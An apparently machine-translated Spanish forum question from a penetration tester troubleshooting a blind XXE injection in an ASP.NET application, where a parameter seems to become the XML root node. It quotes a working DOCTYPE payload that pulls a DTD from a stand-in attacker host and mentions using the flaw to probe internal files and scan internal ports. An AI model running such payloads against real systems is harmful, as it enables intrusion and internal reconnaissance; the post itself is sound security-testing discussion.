Así que estoy en un compromiso y descubrí un punto de inyección XXE en un lugar peculiar en una aplicación ASP.NET que parece que no puedo entender. Uno de los parámetros posteriores controla a qué "formulario" se envía el resto de los datos, y parece que este parámetro se está utilizando como el nodo raíz del documento XML. Entonces, por ejemplo, si era formName = foo, el xml sería:
<foo>
...
</foo>
Una cosa clave a tener en cuenta es que esta XXE es ciega, por lo que no recibo salida por errores.
Esto es lo que he podido lograr hasta ahora:
- Llamar al servidor web público y desplegar el dtd (visto en el registro de mi servidor)
- Verificar la existencia de archivos internos arbitrarios a través del informe de error (error en archivo no existente)
- Sistemas internos de escaneo de puertos (error en la conexión fallida del puerto)
El problema principal que he tenido es que el punto de inyección todavía está un poco embarrado. Mi primer descubrimiento se produjo cuando reemplacé el formulario param con solo un "!" personaje que me dio este error:
' ' is an unexpected token. The expected token is 'DOCTYPE'. Line 1, position 3
Eso me dijo dos cosas, hay una parte del xml que se genera en el lado del servidor (El inicio '<') y que debo estar en el principio del documento, de lo contrario no sugeriría un token DOCTYPE. Confirmé esto al intentar "? Xml" y obtuve: '
Version number '1' is invalid. Line 1, position 17
Esto confirma que estoy al principio del documento, pero también enturbia el agua. La longitud del XML salta drásticamente con pocos cambios en mi entrada, por lo que se está agregando más xml del lado del servidor. Inicialmente pensé que estaba envolviendo la entrada del formulario en "< >" caracteres pero eso parece ser falso ya que la carga útil que tengo para trabajar que llama a mi servidor:
!DOCTYPE document SYSTEM "http://attacker.attack/mydtd.dtd">
requiere el final ">" trabajar. De lo contrario obtendrá este error:
Expecting an internal subset or the end of the DOCTYPE declaration. Line 1, position 66
Esto muestra que el servidor no está cerrando ">" y está esperando más DTD. También trae una copia de seguridad del mismo problema que el lado del servidor incluye XML. No puedo ver en la solicitud, ya que la longitud de la solicitud anterior es 63 (sin el final ">"), por lo que hay 3 caracteres adicionales en algún lugar que están tonteando la XXE.
Otra salida de error peculiar que podría ser de ayuda es esta entrada:
!DOCTYPE document [] #length is 20
Obtiene esta salida de error:
'version' is an unexpected token. The expected token is '>'. Line 1, position 23
Entonces, el analizador está esperando el final de la DTD pero está viendo una etiqueta de "versión" casi como si estuviera inyectando en la etiqueta de declaración XML. Si le doy el último '>' Como quiera me sale este error:
Data at the root level is invalid. Line 1, position 24.
Para resumir todo este problema, busco cualquier sugerencia sobre dónde podría estar aterrizando en el documento dada la información anterior. ¿Parece probable que esté en el nodo raíz como creo o podría haber alguna otra posición en la que estoy aterrizando? Si es el nodo raíz, hay otros desafíos con la duplicación de los datos dos veces, ya que también estará en la etiqueta final.
¡Gracias por cualquier ayuda que puedas dar!